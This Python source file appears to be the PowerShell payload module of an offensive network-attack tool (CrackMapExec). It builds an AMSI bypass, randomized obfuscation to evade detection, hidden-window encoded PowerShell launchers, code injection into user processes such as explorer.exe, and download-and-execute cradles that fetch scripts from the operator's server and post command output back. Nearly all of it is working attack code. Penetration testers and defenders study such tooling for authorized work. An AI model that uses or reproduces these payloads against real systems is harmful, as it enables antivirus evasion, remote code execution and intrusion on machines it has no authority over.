393 lines
20 KiB
Python
393 lines
20 KiB
Python
import cme
|
|
import os
|
|
import logging
|
|
import re
|
|
import tempfile
|
|
from sys import exit
|
|
from string import ascii_lowercase
|
|
from random import choice, randrange, sample
|
|
from subprocess import check_output, call
|
|
from cme.helpers.misc import gen_random_string, which
|
|
from cme.logger import CMEAdapter
|
|
from base64 import b64encode
|
|
|
|
logger = CMEAdapter()
|
|
|
|
obfuscate_ps_scripts = False
|
|
|
|
def get_ps_script(path):
|
|
return os.path.join(os.path.dirname(cme.__file__), 'data', path)
|
|
|
|
def encode_ps_command(command):
|
|
return b64encode(command.encode('UTF-16LE')).decode()
|
|
|
|
def is_powershell_installed():
|
|
if which('powershell'):
|
|
return True
|
|
return False
|
|
|
|
def obfs_ps_script(path_to_script):
|
|
ps_script = path_to_script.split('/')[-1]
|
|
obfs_script_dir = os.path.join(os.path.expanduser('~/.cme'), 'obfuscated_scripts')
|
|
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
|
|
|
|
if is_powershell_installed() and obfuscate_ps_scripts:
|
|
|
|
if os.path.exists(obfs_ps_script):
|
|
logger.info('Using cached obfuscated Powershell script')
|
|
with open(obfs_ps_script, 'r') as script:
|
|
return script.read()
|
|
|
|
logger.info('Performing one-time script obfuscation, go look at some memes cause this can take a bit...')
|
|
|
|
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "TOKEN,ALL,1,OUT {}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
|
|
get_ps_script(path_to_script),
|
|
obfs_ps_script)
|
|
logging.debug(invoke_obfs_command)
|
|
|
|
with open(os.devnull, 'w') as devnull:
|
|
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
|
|
|
|
logger.success('Script obfuscated successfully')
|
|
|
|
with open(obfs_ps_script, 'r') as script:
|
|
return script.read()
|
|
|
|
else:
|
|
with open(get_ps_script(path_to_script), 'r') as script:
|
|
"""
|
|
Strip block comments, line comments, empty lines, verbose statements,
|
|
and debug statements from a PowerShell source file.
|
|
"""
|
|
|
|
# strip block comments
|
|
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script.read())
|
|
# strip blank lines, lines starting with #, and verbose/debug statements
|
|
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
|
|
|
return strippedCode
|
|
|
|
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
|
|
|
|
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
|
try{
|
|
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
|
|
}catch{}
|
|
"""
|
|
|
|
if force_ps32:
|
|
command = amsi_bypass + """
|
|
$functions = {{
|
|
function Command-ToExecute
|
|
{{
|
|
{command}
|
|
}}
|
|
}}
|
|
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
|
|
{{
|
|
$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
|
|
$job | Wait-Job
|
|
}}
|
|
else
|
|
{{
|
|
IEX "$functions"
|
|
Command-ToExecute
|
|
}}
|
|
""".format(command=amsi_bypass + ps_command)
|
|
|
|
else:
|
|
command = amsi_bypass + ps_command
|
|
|
|
logging.debug('Generated PS command:\n {}\n'.format(command))
|
|
|
|
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed concurrently
|
|
# it would spawn a local powershell process per host which isn't ideal, until I figure out a good way of dealing with this
|
|
# it will use the partial python implementation that I stole from GreatSCT (https://github.com/GreatSCT/GreatSCT) <3
|
|
|
|
"""
|
|
if is_powershell_installed():
|
|
|
|
temp = tempfile.NamedTemporaryFile(prefix='cme_',
|
|
suffix='.ps1',
|
|
dir='/tmp')
|
|
temp.write(command)
|
|
temp.read()
|
|
|
|
encoding_types = [1,2,3,4,5,6]
|
|
while True:
|
|
encoding = random.choice(encoding_types)
|
|
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
|
|
temp.name,
|
|
encoding)
|
|
logging.debug(invoke_obfs_command)
|
|
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
|
|
|
|
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
|
|
logging.debug('Command length: {}'.format(len(command)))
|
|
|
|
if len(command) <= 8192:
|
|
temp.close()
|
|
break
|
|
|
|
encoding_types.remove(encoding)
|
|
|
|
else:
|
|
"""
|
|
if not dont_obfs:
|
|
obfs_attempts = 0
|
|
while True:
|
|
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"'
|
|
if len(command) <= 8191:
|
|
break
|
|
|
|
if obfs_attempts == 4:
|
|
logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
|
|
exit(1)
|
|
|
|
obfs_attempts += 1
|
|
else:
|
|
command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command))
|
|
if len(command) > 8191:
|
|
logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
|
|
exit(1)
|
|
|
|
return command
|
|
|
|
def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False):
|
|
#The following code gives us some control over where and how Invoke-PSInject does its thang
|
|
#It prioritizes injecting into a process of the active console session
|
|
ps_code = '''
|
|
$injected = $False
|
|
$inject_once = {inject_once}
|
|
$command = "{command}"
|
|
$owners = @{{}}
|
|
$console_login = gwmi win32_computersystem | select -exp Username
|
|
gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{
|
|
if ($_.getowner().domain -and $_.getowner().user){{
|
|
$owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle
|
|
}}
|
|
}}
|
|
try {{
|
|
if ($owners.ContainsKey($console_login)){{
|
|
Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command
|
|
$injected = $True
|
|
$owners.Remove($console_login)
|
|
}}
|
|
}}
|
|
catch {{}}
|
|
if (($injected -eq $False) -or ($inject_once -eq $False)){{
|
|
foreach ($owner in $owners.Values) {{
|
|
try {{
|
|
Invoke-PSInject -ProcId $owner -PoshCode $command
|
|
}}
|
|
catch {{}}
|
|
}}
|
|
}}
|
|
'''.format(inject_once='$True' if inject_once else '$False',
|
|
command=encode_ps_command(command), procname=procname)
|
|
|
|
if context:
|
|
return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False)
|
|
|
|
return ps_code
|
|
|
|
def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
|
|
|
|
if type(scripts) is str:
|
|
|
|
launcher = """
|
|
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
|
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
|
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
|
|
{command}
|
|
""".format(server=context.server,
|
|
port=context.server_port,
|
|
addr=context.localip,
|
|
ps_script_name=scripts,
|
|
command=command if post_back is False else '').strip()
|
|
|
|
elif type(scripts) is list:
|
|
launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n'
|
|
launcher +="[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
|
|
for script in scripts:
|
|
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(server=context.server,
|
|
port=context.server_port,
|
|
addr=context.localip,
|
|
script=script)
|
|
launcher.strip()
|
|
launcher += command if post_back is False else ''
|
|
|
|
if post_back is True:
|
|
launcher += '''
|
|
$cmd = {command}
|
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
|
|
$request.Method = 'POST'
|
|
$request.ContentType = 'application/x-www-form-urlencoded'
|
|
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
|
|
$request.ContentLength = $bytes.Length
|
|
$requestStream = $request.GetRequestStream()
|
|
$requestStream.Write($bytes, 0, $bytes.Length)
|
|
$requestStream.Close()
|
|
$request.GetResponse()'''.format(server=context.server,
|
|
port=context.server_port,
|
|
addr=context.localip,
|
|
command=command)
|
|
#second_cmd= second_cmd if second_cmd else '')
|
|
|
|
logging.debug('Generated PS IEX Launcher:\n {}\n'.format(launcher))
|
|
|
|
return launcher.strip()
|
|
|
|
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
|
|
def invoke_obfuscation(scriptString):
|
|
|
|
# Add letters a-z with random case to $RandomDelimiters.
|
|
alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)
|
|
|
|
# Create list of random dxelimiters called randomDelimiters.
|
|
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
|
|
randomDelimiters = ['_','-',',','{','}','~','!','@','%','&','<','>',';',':']
|
|
|
|
for i in alphabet:
|
|
randomDelimiters.append(i)
|
|
|
|
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
|
|
randomDelimiters = [choice(randomDelimiters) for _ in range(int(len(randomDelimiters)/4))]
|
|
|
|
# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
|
|
delimitedEncodedArray = ''
|
|
for char in scriptString:
|
|
delimitedEncodedArray += str(ord(char)) + choice(randomDelimiters)
|
|
|
|
# Remove trailing delimiter from $DelimitedEncodedArray.
|
|
delimitedEncodedArray = delimitedEncodedArray[:-1]
|
|
# Create printable version of $RandomDelimiters in random order to be used by final command.
|
|
test = sample(randomDelimiters, len(randomDelimiters))
|
|
randomDelimitersToPrint = ''.join(i for i in test)
|
|
|
|
# Generate random case versions for necessary operations.
|
|
forEachObject = choice(['ForEach','ForEach-Object','%'])
|
|
strJoin = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join')
|
|
strStr = ''.join(choice([i.upper(), i.lower()]) for i in '[String]')
|
|
join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join')
|
|
charStr = ''.join(choice([i.upper(), i.lower()]) for i in 'Char')
|
|
integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int')
|
|
forEachObject = ''.join(choice([i.upper(), i.lower()]) for i in forEachObject)
|
|
|
|
# Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax.
|
|
randomDelimitersToPrintForDashSplit = ''
|
|
|
|
for delim in randomDelimiters:
|
|
# Random case 'split' string.
|
|
split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split')
|
|
|
|
randomDelimitersToPrintForDashSplit += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice(['', ' '])
|
|
|
|
randomDelimitersToPrintForDashSplit = randomDelimitersToPrintForDashSplit.strip('\t\n\r')
|
|
# Randomly select between various conversion syntax options.
|
|
randomConversionSyntax = []
|
|
randomConversionSyntax.append('[' + charStr + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_')
|
|
randomConversionSyntax.append('[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice(['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + charStr + ']')
|
|
randomConversionSyntax = choice(randomConversionSyntax)
|
|
|
|
# Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
|
|
encodedArray = ''
|
|
for char in scriptString:
|
|
encodedArray += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' '])
|
|
|
|
# Remove trailing comma from encodedArray
|
|
encodedArray = '(' + choice(['', ' ']) + encodedArray.rstrip().rstrip(',') + ')'
|
|
|
|
# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
|
|
# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
|
|
# If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
|
|
# For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
|
|
setOfsVarSyntax = []
|
|
setOfsVarSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "''")
|
|
setOfsVarSyntax.append(choice(['Set-Variable', 'SV', 'SET']) + choice([' '*1, ' '*2]) + "'OFS'" + choice([' '*1, ' '*2]) + "''")
|
|
setOfsVar = choice(setOfsVarSyntax)
|
|
|
|
setOfsVarBackSyntax = []
|
|
setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '")
|
|
setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '")
|
|
setOfsVarBack = choice(setOfsVarBackSyntax)
|
|
|
|
# Randomize case of $SetOfsVar and $SetOfsVarBack.
|
|
setOfsVar = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVar)
|
|
setOfsVarBack = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVarBack)
|
|
|
|
# Generate the code that will decrypt and execute the payload and randomly select one.
|
|
baseScriptArray = []
|
|
baseScriptArray.append('[' + charStr + '[]' + ']' + choice(['', ' ']) + encodedArray)
|
|
baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'." + split + "(" + choice(['', ' ']) + "'" + randomDelimitersToPrint + "'" + choice(['', ' ']) + ')' + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
|
|
baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'" + choice(['', ' ']) + randomDelimitersToPrintForDashSplit + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
|
|
baseScriptArray.append('(' + choice(['', ' ']) + encodedArray + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
|
|
# Generate random JOIN syntax for all above options
|
|
newScriptArray = []
|
|
newScriptArray.append(choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''")
|
|
newScriptArray.append(join + choice(['', ' ']) + choice(baseScriptArray))
|
|
newScriptArray.append(strJoin + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice(['', ' ']) + choice(baseScriptArray) + choice(['', ' ']) + ')')
|
|
newScriptArray.append('"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVar + choice(['', ' ']) + ')' + choice(['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + strStr + choice(baseScriptArray) + choice(['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVarBack + choice(['', ' ']) + ')' + choice(['', ' ']) + '"')
|
|
|
|
# Randomly select one of the above commands.
|
|
newScript = choice(newScriptArray)
|
|
|
|
# Generate random invoke operation syntax.
|
|
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies.
|
|
invokeExpressionSyntax = []
|
|
invokeExpressionSyntax.append(choice(['IEX', 'Invoke-Expression']))
|
|
# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
|
|
# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet.
|
|
# These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc.
|
|
invocationOperator = choice(['.','&']) + choice(['', ' '])
|
|
invokeExpressionSyntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
|
|
invokeExpressionSyntax.append(invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')")
|
|
invokeExpressionSyntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
|
|
invokeExpressionSyntax.append(invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')")
|
|
invokeExpressionSyntax.append(invocationOperator + "((" + choice(['Get-Variable','GV','Variable']) + " '*mdr*').Name[3,11,2]-Join'')")
|
|
invokeExpressionSyntax.append(invocationOperator + "( " + choice(['$VerbosePreference.ToString()','([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')")
|
|
|
|
# Randomly choose from above invoke operation syntaxes.
|
|
invokeExpression = choice(invokeExpressionSyntax)
|
|
|
|
# Randomize the case of selected invoke operation.
|
|
invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression)
|
|
|
|
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
|
|
invokeOptions = []
|
|
invokeOptions.append(choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice(['', ' ']) + ')' + choice(['', ' ']))
|
|
invokeOptions.append(choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression)
|
|
|
|
obfuscatedPayload = choice(invokeOptions)
|
|
|
|
"""
|
|
# Array to store all selected PowerShell execution flags.
|
|
powerShellFlags = []
|
|
|
|
noProfile = '-nop'
|
|
nonInteractive = '-noni'
|
|
windowStyle = '-w'
|
|
|
|
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
|
|
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
|
|
commandlineOptions = []
|
|
commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
|
|
commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
|
|
# Randomly decide to write WindowStyle value with flag substring or integer value.
|
|
commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
|
|
|
|
# Randomize the case of all command-line arguments.
|
|
for count, option in enumerate(commandlineOptions):
|
|
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
|
|
|
|
for count, option in enumerate(commandlineOptions):
|
|
commandlineOptions[count] = ''.join(option)
|
|
|
|
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
|
|
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
|
|
|
|
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
|
|
"""
|
|
|
|
return obfuscatedPayload
|